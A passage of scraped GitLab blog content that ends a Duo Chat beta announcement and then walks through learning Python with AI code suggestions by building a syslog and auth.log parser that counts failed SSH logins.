.shadow}\n\n- **Onboarding and learning made simple:** Whether you are onboarding to GitLab or you are already an expert learning how to use GitLab is streamlined with Chat.\n\n![Chat learning example](https://about.gitlab.com/images/blogimages/2023-11-09-chat-beta/chatbetareleaselearninglong.gif){: .shadow}\n\n## How your data stays your data  \nChat does not use your proprietary code or inputs to Chat as training data. This privacy-first approach includes both the prompt and the output of Chat. GitLab Duo uses the right large language models (LLMs) for each use case. For instance, Anthropic Claude-2 and Vertex AI Codey with text embedding-gecko LLMs power Chat. Our [publicly available documentation](https://docs.gitlab.com/ee/user/ai_features.html) describes all AI models GitLab Duo uses and [how it uses your data](https://docs.gitlab.com/ee/user/ai_features.html#data-privacy). \n\n## The road ahead for GitLab Duo  \t\nAs we continue to innovate and improve GitLab Duo, we're excited to share that our [Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) capability will transition from Beta to general availability later this year. We look forward to seeing the transformative impact GitLab Duo will have on your software development efforts. Learn more about GitLab Duo Chat in [our documentation](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) and [share your feedback and ideas](https://gitlab.com/gitlab-org/gitlab/-/issues/430124). \n\nTo get started with GitLab Duo Chat, please [contact our sales team](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/).\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[790,943,736],{"slug":7883,"featured":6,"template":678},"gitlab-duo-chat-beta","content:en-us:blog:gitlab-duo-chat-beta.yml","Gitlab Duo Chat Beta","en-us/blog/gitlab-duo-chat-beta.yml","en-us/blog/gitlab-duo-chat-beta",{"_path":7889,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7890,"content":7895,"config":7899,"_id":7901,"_type":16,"title":7902,"_source":17,"_file":7903,"_stem":7904,"_extension":20},"/en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions",{"title":7891,"description":7892,"ogTitle":7891,"ogDescription":7892,"noIndex":6,"ogImage":2675,"ogUrl":7893,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7893,"schema":7894},"Learning Python with a little help from AI","Use this guided tutorial, along with GitLab Duo Code Suggestions, to learn a new programming language.","https://about.gitlab.com/blog/learning-python-with-a-little-help-from-ai-code-suggestions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learning Python with a little help from AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-11-09\",\n      }",{"title":7891,"description":7892,"authors":7896,"heroImage":2675,"date":7879,"body":7897,"category":791,"tags":7898},[4808],"\nLearning a new programming language can help broaden your software development expertise, open career opportunities, or create fun challenges. However, it can be difficult to decide on one specific approach to learning a new language. Artificial intelligence (AI) can help. In this tutorial, you'll learn how to leverage AI-powered GitLab Duo Code Suggestions for a guided experience in learning the Python programming language with a practical hands-on example.\n\n- [Preparations](#preparations)\n  - [VS Code](#vs-code)\n  - [Code Suggestions](#code-suggestions)\n- [Learning a new programming language: Python](#learning-a-new-programming-language-python)\n    - [Development environment for Python](#development-environment-for-python)\n    - [Hello, World](#hello-world)\n- [Start learning Python with a practical example](#start-learning-python-with-a-practical-example)\n    - [Define variables and print them](#define-variables-and-print-them)\n    - [Explore variable types](#explore-variable-types)\n- [File I/O: Read and print a log file](#file-io-read-and-print-a-log-file)\n- [Flow control](#flow-control)\n    - [Loops and lists to collect files](#loops-and-lists-to-collect-files)\n    - [Conditionally collect files](#conditionally-collect-files)\n- [Functions](#functions)\n    - [Start with a simple log format](#start-with-a-simple-log-format)\n    - [String and data structure operations](#string-and-data-structure-operations)\n    - [Parse log files using regular expressions](#parse-log-files-using-regular-expressions)\n    - [Advanced log format: auth.log](#advanced-log-format-authlog)\n    - [Parsing more types: Structured logging](#parsing-more-types-structured-logging)\n- [Printing results and formatting](#printing-results-and-formatting)\n- [Dependency management and continuous verification](#dependency-management-and-continuous-verification)\n    - [Pip and pyenv: Bringing structure into Python](#pip-and-pyenv-bringing-structure-into-python)\n    - [Automation: Configure CI/CD pipeline for Python](#automation-configure-cicd-pipeline-for-python)\n- [What is next](#what-is-next)\n    - [Async learning exercises](#async-learning-exercises)\n    - [Share your feedback](#share-your-feedback)\n\n## Preparations \n\nChoose your [preferred and supported IDE](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-in-other-ides-and-editors), and follow the documentation to enable Code Suggestions for [GitLab.com SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas) or [GitLab self-managed instances](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).\n\nProgramming languages can require installing the language interpreter command-line tools or compilers that generate binaries from source code to build and run the application.\n\n**Tip:** You can also use [GitLab Remote Development workspaces](/blog/quick-start-guide-for-gitlab-workspaces/) to create your own cloud development environments, instead of local development environments. This blog post focuses on using VS Code and the GitLab Web IDE. \n\n### VS Code\n\n[Install VS Code](https://code.visualstudio.com/download) on your client, and open it. Navigate to the `Extensions` menu and search for `gitlab workflow`. Install the [GitLab Workflow extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow). VS Code will also detect the programming languages, and offer to install additional plugins for syntax highlighting and development experience. For example, install the [Python extension](https://marketplace.visualstudio.com/items?itemName=ms-python.python).\n\n### Code Suggestions\n\nFamiliarize yourself with suggestions before actually verifying the suggestions. GitLab Duo Code Suggestions are provided as you type, so you do not need use specific keyboard shortcuts. To accept a code suggestion, press the `tab` key. Also note that writing new code works more reliably than refactoring existing code. AI is non-deterministic, which means that the same suggestion may not be repeated after deleting the code suggestion. While Code Suggestions is in Beta, we are working on improving the accuracy of generated content overall. Please review the [known limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations), as this could affect your learning experience.\n\n**Tip:** The latest release of Code Suggestions supports multiline instructions. You can refine the specifications to your needs to get better suggestions. We will practice this method throughout the blog post.\n\n## Learning a new programming language: Python  \n\nNow, let's dig into learning Python, which is one of the [supported languages in Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). \n\nBefore diving into the source code, make sure to set up your development environment.\n\n### Development environment for Python \n\n1) Create a new project `learn-python-ai` in GitLab, and clone the project into your development environment. All code snippets are available in this [\"Learn Python with AI\" project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai).\n\n```shell\ngit clone https://gitlab.com/NAMESPACE/learn-python-ai.git\n\ncd learn-python-ai\n\ngit status\n```\n\n2) Install Python and the build toolchain. Example on macOS using Homebrew:\n\n```\nbrew install python\n```\n\n3) Consider adding a `.gitignore` file for Python, for example this [.gitignore template for Python](https://gitlab.com/gitlab-org/gitlab/-/blob/master/vendor/gitignore/Python.gitignore?ref_type=heads). \n\nYou are all set to learn Python! \n\n### Hello, World\n\nStart your learning journey in the [official documentation](https://www.python.org/about/gettingstarted/), and review the linked resources, for example, the [Python tutorial](https://docs.python.org/3/tutorial/index.html). The [library](https://docs.python.org/3/library/index.html) and [language reference](https://docs.python.org/3/reference/index.html) documentation can be helpful, too. \n\n**Tip:** When I touched base with Python in 2005, I did not have many use cases except as a framework to test Windows 2000 drivers. Later, in 2016, I refreshed my knowledge with the book \"Head First Python, 2nd Edition,\" providing great practical examples for the best learning experience – two weeks later, I could explain the differences between Python 2 and 3. You do not need to worry about Python 2 – it has been deprecated some years ago, and we will focus only on Python 3 in this blog post. In August 2023, \"[Head First Python, 3rd Edition](https://www.oreilly.com/library/view/head-first-python/9781492051282/)\" was published. The book provides a great learning resource, along with the exercises shared in this blog post. \n\nCreate a new file `hello.py` in the root directory of the project and start with a comment saying `# Hello world`. Review and accept the suggestion by pressing the `tab` key and save the file (keyboard shortcut: cmd s). \n\n```\n# Hello world\n```\n\nCommit the change to the Git repository. In VS Code, use the keyboard shortcut `ctrl shift G`, add a commit message, and hit `cmd enter` to submit. \n\nUse the command palette (`cmd shift p`) and search for `create terminal` to open a new terminal. Run the code with the Python interpreter. On macOS, the binary from Homebrew is called `python3`, other operating systems and distributions might use `python` without the version.\n\n```shell\npython3 hello.py\n```\n\n![Hello World, hello GitLab Duo Code Suggestions](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_python_code_sugestions_hello_world.png)\n\n**Tip:** Adding code comments in Python starting with the `#` character before you start writing a function or algorithm will help Code Suggestions with more context to provide better suggestions. In the example above, we did that with `# Hello world`, and will continue doing so in the next exercises.\n\nAdd `hello.py` to Git, commit all changes and push them to your GitLab project.\n\n```shell\ngit add hello.py\n\ngit commit -avm \"Initialize Python\"\n\ngit push\n```\n\nThe source code for all exercises in this blog post is available in this [\"Learn Python with AI\" project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai).\n\n## Start learning Python with a practical example \n\nThe learning goal in the following sections involves diving into the language datatypes, variables, flow control, and functions. We will also look into file operations, string parsing, and data structure operations for printing the results. The exercises will help build a command-line application that reads different log formats, works with the data, and provides a summary. This will be the foundation for future projects that fetch logs from REST APIs, and inspire more ideas such as rendering images, creating a web server, or adding Observability metrics.\n\n![Parsing log files into structured objects, example result after following the exercises](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_parsing_logs_and_pretty_print_results.png)\n\nAs an experienced admin, you can put the script into production and use real-world log format exmples. Parsing and analyzing logs in stressful production incidents can be time-consuming. A local CLI tool is sometimes faster than a log management tool.\n\nLet's get started: Create a new file called `log_reader.py` in the directory root, add it to Git, and create a Git commit.\n\n### Define variables and print them\n\nAs a first step, we need to define the log files location, and the expected file suffix. Therefore, let's create two variables and print them. Actually, ask Code Suggestions to do that for you by writing only the code comments and accepting the suggestions. Sometimes, you need to experiment with suggestions and delete already accepted code blocks. Do not worry – the quality of the suggestions will improve over time as the model generates better suggestions with more context.\n\n![Define log path and file suffix variables](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_reader_variables_01.png){: .shadow}\n\n![Print the variables to verify](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_reader_variables_02.png){: .shadow}\n\n```python\n# Specify the path and file suffix in variables\npath = '/var/log/'\nfile_suffix = '.log'\n\n# Print the variables \n\nprint(path)\nprint(file_suffix)\n```\n\nNavigate into the VS Code terminal and run the Python script:\n\n```shell\npython3 log_reader.py\n```\n\n![VS Code terminal, printing the variables](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_print_variables.png)\n\nPython supports many different types in the [standard library](https://docs.python.org/3/library/index.html). Most common types are: Numeric (int, float, complex), Boolean (True, False), and String (str). Data structures include support for lists, tuples, and dictionaries. \n\n### Explore variable types \n\nTo practice different variable types, let's define a limit of log files to read as a variable with the `integer` type.\n\n![Log file variable](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_reader_variables_03.png){: .shadow}\n\n```python\n# Define log file limit variable \nlog_file_limit = 1024 \n```\n\nCreate a Boolean variable that forces to read all files in the directory, no matter the log file suffix. \n\n```python\n# Define boolean variable whether to read all files recursively\nread_all_files_recursively = True\n```\n\n## File I/O: Read and print a log file\n\nCreate a directory called `log-data` in your project tree. You can copy all file examples from the [log-data directory in the example project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai/-/tree/main/log-data?ref_type=heads).  \n\nCreate a new file `sample.log` with the following content, or any other two lines that provide a different message at the end.\n\n```\nOct 17 00:00:04 ebpf-chaos systemd[1]: dpkg-db-backup.service: Deactivated successfully.\nOct 17 00:00:04 ebpf-chaos systemd[1]: Finished Daily dpkg database backup service.\n```\n\nInstruct Code Suggestions to read the file `log-data/sample.log` and print the content. \n\n![Code Suggestions: Read log file and print it](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_read_log_file_and_print.png){: .shadow}\n\n```python\n# Read the file in log-data/sample.log and print its content\nwith open('log-data/sample.log', 'r') as f:\n    print(f.read())\n```\n\n**Tip:** You will notice the indent here. The `with open() as f:` statement opens a new scope where `f` is available as stream. This flow requires indenting )`tab`) the code block, and perform actions in this scope, calling `f.read()` to read the file contents, and passing the immediate value as parameter into the `print()` function.\n\nNavigate into the terminal, and run the script again with `python3 log_reader.py`. You will see the file content shown in the VS Code editor, also printed into the terminal.\n\n![VS Code terminal: Read log file, and print it](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_terminal_print_logfile_show_file_sample.png)\n\n## Flow control \n\nReading one log file is not enough – we want to analyze all files in a given directory recursively. For the next exercise, we instruct Code Suggestions to create an index of all files. \n\nPrepare the `log-data` directory with more example files from the [log-data directory in the example project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-python-ai/-/tree/main/log-data?ref_type=heads). The directory tree should look as follows:\n\n```shell\ntree log-data                                                             ─╯\nlog-data\n├── sample.log\n└── var\n    └── log\n        ├── auth.log\n        ├── syslog.log\n        └── syslog_structured.log\n\n3 directories, 4 files\n```\n\n### Loops and lists to collect files \n\nModify the `path` variable to use the value `log-data/`. \n\n```python\n# Specify the path and file suffix in variables\npath = 'log-data/'\nfile_suffix = '.log'\n```\n\nTell Code Suggestions to read all file paths in the directory into a list. After the collection loop, print the list of file paths. \n\n```python\n# Read all file paths in the directory into a list\n\n# Print the list of log file paths\n```\n\n![Code Suggestion, collect file paths](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_collect_files.png){: .shadow}\n\nAn example of a suggestion could look like this:\n\n```python\n# Read all file paths in the directory into a list\nimport os\n\n# Read all file paths in the directory into a list\nlog_files = []\nfor root, directories, files in os.walk(path):\n    for file in files:\n        if file.endswith(file_suffix):\n            log_files.append(os.path.join(root, file))\n\n# Print the list of log file paths\n\nprint(log_files)\n```\n\nLet's analyze what happens here: The `import os` statement is required to bring the `os` library into the current scope, and we are able to call `os.walk()` later. The `log_files` [list](https://docs.python.org/3/library/stdtypes.html#sequence-types-list-tuple-range) is initialized as an empty list using empty brackets. `os.walk()` expects a path as directory tree to start searching for files. The function returns a generator object, which will walk the directory tree recursively. The returned tuples include the collected files, which we want to access in a loop iteraor, using the `for` loop notation. When the file ends with the defined suffix, its full path is appended to the list. This is an optimized and complex example. Do not worry about understanding everything just yet - we will revisit this later. \n\n### Conditionally collect files \n\nModify the instructions and add the Boolean flag evaluation for `read_all_files_recursively` as an input to the glob() function. \n\n```python\n# Read all file paths in the top level directory into a list\n# If read_all_files_recursively is True, read all files recursively\n```\n\n![Code Suggestions, read files recursively conditionally](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_read_files_recursively_conditionally.png){: .shadow}\n\n```\n# Read all file paths in the top level directory \nimport os\n\n# Read all file paths in the top level directory into a list\n# If read_all_files_recursively is True, read all files recursively\n\nlog_files = []\nfor file in os.listdir(path):\n    if file.endswith(file_suffix):\n        log_files.append(os.path.join(path, file))\n\nif read_all_files_recursively:\n    for root, directories, files in os.walk(path):\n        for file in files:\n            if file.endswith(file_suffix):               \n                log_files.append(os.path.join(root, file))\n\n# Print log_files\nprint(log_files)\n```\n\nThe result is not optimal yet because it always executes the first loop, and optionally the second loop. This flow leads to duplicated results when the script is executed.\n\n```\npython3 log_reader.py\n\n['log-data/sample.log', 'log-data/sample.log', 'log-data/var/log/auth.log']\n```\n\nExperiment with Code Suggestions instructions to get a solution for the problem. There are different approaches you can take: \n\n1) A potential solution is to wrap the source code into an if-then-else block, and move the `os.listdir()` loop into the else-block. \n\n```python\nif read_all_files_recursively:\n    for root, directories, files in os.walk(path):\n        for file in files:\n            if file.endswith(file_suffix):               \n                log_files.append(os.path.join(root, file))\nelse:\n    for file in os.listdir(path):\n        if file.endswith(file_suffix):\n            log_files.append(os.path.join(path, file))  \n\n```\n\n2) Alternatively, do not use `append()` to always add a new list entry, but check if the item exists in the list first. \n\n```python\nfor file in os.listdir(path):\n    if file.endswith(file_suffix):\n        # check if the entry exists in the list already\n        if os.path.isfile(os.path.join(path, file)):\n            log_files.append(os.path.join(path, file))\n\nif read_all_files_recursively:\n    for root, directories, files in os.walk(path):\n        for file in files:\n            if file.endswith(file_suffix):\n                # check if the entry exists in the list already\n                if file not in log_files:\n                    log_files.append(os.path.join(root, file))\n```\n\n3) Or, we could eliminate duplicate entries after collecting all items. Python allows converting lists into [sets](https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset), which hold unique entries. After applying `set()`, you can again convert the set back into a list. Code Suggestions knows about this possibility, and will help with the comment `# Ensure that only unique file paths are in the list` \n\n![Code Suggestions, converting a list to unique items](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_unique_list.png){: .shadow}\n\n```python\n# Ensure that only unique file paths are in the list\n\nlog_files = list(set(log_files))\n```\n\n4) Take a step back and evaluate whether the variable read_all_files_recursively makes sense. Maybe the default behavior should just be reading all files recursively?\n\n**Tip for testing different paths in VS Code:** Select the code blocks, and press [`cmd /` on macOS](https://code.visualstudio.com/docs/getstarted/keybindings) to comment out the code. \n\n## Functions \n\nLet's create a function called `parse_log_file` that parses a log file, and returns the extracted data. We will define the expected log format and columns to extract, following the [syslog format specification](https://en.wikipedia.org/wiki/Syslog). There are different log format types and also customized formats by developers that need to be taken into account – exercise for later. \n\n### Start with a simple log format \n\nInspect a running Linux VM, or use the following example log file example for additional implementation.\n\n```\nless /var/log/syslog | grep -v docker \n\nOct 17 00:00:04 ebpf-chaos systemd[1]: Starting Daily dpkg database backup service...\nOct 17 00:00:04 ebpf-chaos systemd[1]: Starting Rotate log files...\nOct 17 00:00:04 ebpf-chaos systemd[1]: dpkg-db-backup.service: Deactivated successfully.\nOct 17 00:00:04 ebpf-chaos systemd[1]: Finished Daily dpkg database backup service.\nOct 17 00:00:04 ebpf-chaos systemd[1]: logrotate.service: Deactivated successfully.\nOct 17 00:00:04 ebpf-chaos systemd[1]: Finished Rotate log files.\nOct 17 00:17:01 ebpf-chaos CRON[727495]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)\n```\n\nWe can create an algorithm to split each log line by whitespaces, and then join the results again. Let's ask Code Suggestions for help. \n\n```python\n# Split log line \"Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Rotate log files.\" by whitespaces and save in a list\n\nlog_line = \"Oct 17 00:00:04 ebpf-chaos systemd[1]: Finished Rotate log files.\"\nlog_line_split = log_line.split(\" \")\nprint(log_line_split)\n```\n\nRun the script again to verify the result.\n\n```shell\npython3 log_reader.py\n\n['Oct', '17', '00:00:04', 'ebpf-chaos', 'systemd[1]:', 'Finished', 'Rotate', 'log', 'files.']\n```\n\nThe first three items are part of the datetime string, followed by the host, service, and remaining log message items. Let's practice string operations in Python as the next step. \n\n### String and data structure operations\n\nLet's ask Code Suggestions for help with learning to join strings, and perform list operations.\n\n1. Join the first three items with a whitespace again. \n2. Keep host and service. \n3. Join the remaining variable item count into a string, separated with whitespaces, again. \n4. Store the identified column keys, and their respective values in a new data structure: [dictionary](https://docs.python.org/3/library/stdtypes.html#mapping-types-dict). \n\n![Code suggestions for list items with string operations](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_list_items_string_join_extract.png){: .shadow}\n\n```shell \npython3 log_reader.py\n\n# Array\n['Oct', '17', '00:00:04', 'ebpf-chaos', 'systemd[1]:', 'Finished', 'Rotate', 'log', 'files.']\n\n# Dictionary \n{'datetime': 'Oct 17 00:00:04', 'host': 'ebpf-chaos', 'service': 'systemd[1]:', 'message': ' ebpf-chaos systemd[1]: Finished Rotate log files.'}\n```\n\nA working suggestion can look like the following:\n\n```python\n# Initialize results dictionary with empty values for datetime, host, service, message\n# Loop over log line split \n# Join the first three list items as date string\n# Item 4: host \n# Item 5: service\n# Join the remaining items into a string, separated with whitespaces \n# Print the results after the loop \n\nresults = {'datetime': '', 'host': '', 'service': '', 'message': ''}\n\nfor item in log_line_split:\n\n    if results['datetime'] == '':\n        results['datetime'] = ' '.join(log_line_split[0:3])\n\n    elif results['host'] == '':\n        results['host'] = log_line_split[3]\n\n    elif results['service'] == '':\n        results['service'] = log_line_split[4]\n\n    else:\n        results['message'] += ' ' + item\n\nprint(results)\n\n```\n\nThe suggested algorithm loops over all log line items, and applies the same operation for the first three items. `log_line_split[0:3]` extracts a slice of three items into a new list. Calling `join()` on a separator character and passing the array as an argument joins the items into a string. The algorithm continues to check for not initialized values for host (Item 4) and service (Item 5)and concludes with the remaining list items appended into the message string. To be honest, I would have used a slightly different algorithm, but it is a great learning curve to see other algorithms, and ways to implement them. Practice with different instructions, and data structures, and continue printing the data sets. \n\n**Tip:** If you need to terminate a script early, you can use `sys.exit()`. The remaining code will not be executed. \n\n```python\nimport sys \nsys.exit(1)\n```\n\nImagine doing these operations for different log formats, and message types – it can get complicated and error-prone very quickly. Maybe there is another approach. \n\n### Parse log files using regular expressions\n\nThere are different syslog format RFCs – [RFC 3164](https://datatracker.ietf.org/doc/html/rfc3164) is obsolete but still found in the wild as default configuration (matching the pattern above), while [RFC 5424](https://datatracker.ietf.org/doc/html/rfc5424) is more modern, including datetime with timezone information. Parsing this format can be tricky, so let's ask Code Suggestions for advice. \n\nIn some cases, the suggestions include regular expressions. They might not match immediately, making the code more complex to debug, with trial and errors. A good standalone resource to text and explain regular expressions is [regex101.com](https://regex101.com/).  \n\n**Tip:** You can skip diving deep into regular expressions using the following code snippet as a quick cheat. The next step involves instructing Code Suggestions to use these log patterns, and help us extract all valuable columns. \n\n```python\n# Define the syslog log format regex in a dictionary\n# Add entries for RFC3164, RFC5424\nregex_log_pattern = {\n    'rfc3164': '([A-Z][a-z][a-z]\\s{1,2}\\d{1,2}\\s\\d{2}[:]\\d{2}[:]\\d{2})\\s([\\w][\\w\\d\\.@-]*)\\s(.*)$',\n    'rfc5424': '(?:(\\d{4}[-]\\d{2}[-]\\d{2}[T]\\d{2}[:]\\d{2}[:]\\d{2}(?:\\.\\d{1,6})?(?:[+-]\\d{2}[:]\\d{2}|Z)?)|-)\\s(?:([\\w][\\w\\d\\.@-]*)|-)\\s(.*)$;'\n}\n```\n\nWe know what the function should do, and its input parameters – the file name, and a log pattern to match. The log lines should be split by this regular expression, returning a key-value dictionary for each log line. The function should return a list of dictionaries. \n\n```python\n# Create a function that parses a log file\n# Input parameter: file path\n# Match log line against regex_log_pattern\n# Return the results as dictionary list: log line, pattern, extracted columns\n```\n\n![Code suggestion based on a multiline comment instruction to get a function that parses a log file based on regex patterns](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_format_regex_function_instructions_01.png){: .shadow}\n\nRemember the indent for opening a new scope? The same applies for functions in Python. The `def` identifier requires a function name, and a list of parameters, followed by an opening colon. The next lines of code require the indent. VS Code will help with live-linting wrong indent, before the script execution fails, or the CI/CD pipelines. \n\nContinue with Code Suggestions – it might already know that you want to parse all log files, and parse them using the newly created function. \n\n![Code suggestion to parse all log files, and print the result set](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_log_format_regex_function_instructions_02.png){: .shadow}\n\nA full working example can look like this: \n\n```\nimport os\n\n# Specify the path and file suffix in variables\npath = 'log-data/'\nfile_suffix = '.log'\n\n# Read all file paths in the directory into a list\nlog_files = []\nfor root, directories, files in os.walk(path):\n    for file in files:\n        if file.endswith(file_suffix):\n            log_files.append(os.path.join(root, file))\n\n# Define the syslog log format regex in a dictionary\n# Add entries for RFC3164, RFC5424\nregex_log_pattern = {\n    'rfc3164': '([A-Z][a-z][a-z]\\s{1,2}\\d{1,2}\\s\\d{2}[:]\\d{2}[:]\\d{2})\\s([\\w][\\w\\d\\.@-]*)\\s(.*)$',\n    'rfc5424': '(?:(\\d{4}[-]\\d{2}[-]\\d{2}[T]\\d{2}[:]\\d{2}[:]\\d{2}(?:\\.\\d{1,6})?(?:[+-]\\d{2}[:]\\d{2}|Z)?)|-)\\s(?:([\\w][\\w\\d\\.@-]*)|-)\\s(.*)$;'\n}\n\n# Create a function that parses a log file\n# Input parameter: file path\n# Match log line against regex_log_pattern\n# Return the results as dictionary list: log line, pattern name, extracted columns\nimport re\n\ndef parse_log_file(file_path):\n    # Read the log file\n    with open(file_path, 'r') as f:\n        log_lines = f.readlines()\n\n    # Create a list to store the results\n    results = []\n\n    # Iterate over the log lines\n    for log_line in log_lines:\n        # Match the log line against the regex pattern\n        for pattern_name, pattern in regex_log_pattern.items():\n            match = re.match(pattern, log_line)\n\n            # If the log line matches the pattern, add the results to the list\n            if match:\n                extracted_columns = match.groups()\n                results.append({\n                    'log_line': log_line,\n                    'pattern_name': pattern_name,\n                    'extracted_columns': extracted_columns,\n                    'source_file': file_path\n                })\n\n    # Return the results\n    return results\n\n# Parse all files and print results\nfor log_file in log_files:\n    results = parse_log_file(log_file)\n    print(results)\n```\n\nLet's unpack what the `parse_log_file()` function does:\n\n1. Opens the file from `file_path` parameter. \n2. Reads all lines into a new variable `log_lines`. \n3. Creates a results list to store all items. \n4. Iterates over the log lines. \n5. Matches against all regex patterns configured in regex_log_pattern. \n6. If a match is found, extracts the matching column values.\n7. Creates a results item, including the values for the keys `log_line`, `pattern_name`, `extracted_colums`, `source_file`. \n8. Appends the results item to the results list.\n9. Returns the results list. \n\nThere are different variations to this – especially for the returned result data structure. For this specific case, log lines come as list already. Adding a dictionary object instead of a raw log line allows function callers to extract the desired information in the next step. Once a working example has been implemented, you can refactor the code later, too. \n\n### Advanced log format: auth.log\n\nParsing the syslog on a Linux distribution might not unveil the necessary data to analyze. On a virtual machine that exposes port 22 (SSH) to the world, the authentication log is much more interesting – plenty of bots and malicious actors testing default password combinations and often brute force attacks.\n\nThe following snippet from `/var/log/auth.log` on one of my private servers shows the authentication log format and the random attempts from bots using different usernames, etc. \n\n```\nOct 15 00:00:19 ebpf-chaos sshd[3967944]: Failed password for invalid user ubuntu from 93.254.246.194 port 48840 ssh2\nOct 15 00:00:20 ebpf-chaos sshd[3967916]: Failed password for root from 180.101.88.227 port 44397 ssh2\nOct 15 00:00:21 ebpf-chaos sshd[3967944]: Received disconnect from 93.254.246.194 port 48840:11: Bye Bye [preauth]\nOct 15 00:00:21 ebpf-chaos sshd[3967944]: Disconnected from invalid user ubuntu 93.254.246.194 port 48840 [preauth]\nOct 15 00:00:24 ebpf-chaos sshd[3967916]: Failed password for root from 180.101.88.227 port 44397 ssh2\nOct 15 00:00:25 ebpf-chaos sshd[3967916]: Received disconnect from 180.101.88.227 port 44397:11:  [preauth]\nOct 15 00:00:25 ebpf-chaos sshd[3967916]: Disconnected from authenticating user root 180.101.88.227 port 44397 [preauth]\nOct 15 00:00:25 ebpf-chaos sshd[3967916]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.101.88.227  user=root\nOct 15 00:00:25 ebpf-chaos sshd[3967998]: Invalid user teamspeak from 185.218.20.10 port 33436\n```\n\n**Tip for intrusion prevention:** Add a firewall setup, and use [fail2ban](https://en.wikipedia.org/wiki/Fail2ban) to block invalid auth logins. \n\nThe next exercise is to extend the logic to understand the free form log message parts, for example `Failed password for invalid user ubuntu from 93.254.246.194 port 48840 ssh2`. The task is to store the data in an optional dictionary with key value pairs. \n\nCreate a new function that takes the previously parsed log line results as input, and specifically parses the last list item for each line.\n\n1. Count the number of `Failed password` and `Invalid user` messages.\n2. Return the results with count, log file, pattern \n\n![Code suggestions for a log file message parser to count auth.log failures](https://about.gitlab.com/images/blogimages/learn-python-with-ai-code-suggestions-getting-started/vs_code_code_suggestions_parse_log_message_auth_log.png){: .shadow}\n\nA working suggestion can look like the following code:\n\n```python\n# Create a function that parses a log file message from the last extracted_columns entry \n# Input: Parsed log lines results list \n# Loop over all log lines in the list, and extract the last list item as message \n# Count failure strings in the message: Failed password, Invalid user \n# Return the results if failure count greater 0: log_file, count, failure string\ndef parse_log_file_message(results):\n    failure_results = []\n\n    # Iterate over the log lines\n    for result in results:\n        # Extract the message from the last list item\n        message = result['extracted_columns'][-1]\n\n        # Count the number of failure strings in the message\n        failure_count = message.count('Failed password') + message.count('Invalid user')\n\n        # If the failure count is greater than 0, add the results to the list\n        if failure_count > 0:\n            failure_results.append({\n                'log_file': result['source_file'],\n                'count': failure_count,\n                'failure_string': message\n            })\n\n    # Return the results\n    return failure_results\n\n# Parse all files and print results\nfor log_file in log_files:\n    results = parse_log_file(log_file)\n    failure_results = parse_log_file_message(results)\n    print(failure_results)\n```\n\nThe algorithm follows the previous implementations: First, create a results array to store matching data. Then, iterate over the already parsed log_lines in the list. Each log line contains the `extracted_columns` key, which holds the free-form message string at the end. The next step is to call the string object function `count()` to count how many times a given character sequence is contained in a string. The returned numbers are added up to the `failure_count` variable. If it is greater than zero, the result is added to the results list, including the `log_file`, `count` and `failure_string` key-value pairs. After returning the parsed log message results, loop through all log files, parse them, and print the results again. \n\nExecute the script to inspect the detected matches. Note that the data structure can be optimized in future learning steps.\n\n```\npython3 log_reader.py\n\n[{'log_file': 'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3967944]: Failed password for invalid user ubuntu from 93.254.246.194 port 48840 ssh2'}, {'log_file': 'log-data/var/log/auth.log', 'count': 1, 'failure_string': 'sshd[3967916]: Failed password for root from 180.101.88.227 port 44397 ssh2'}, {'log_file': 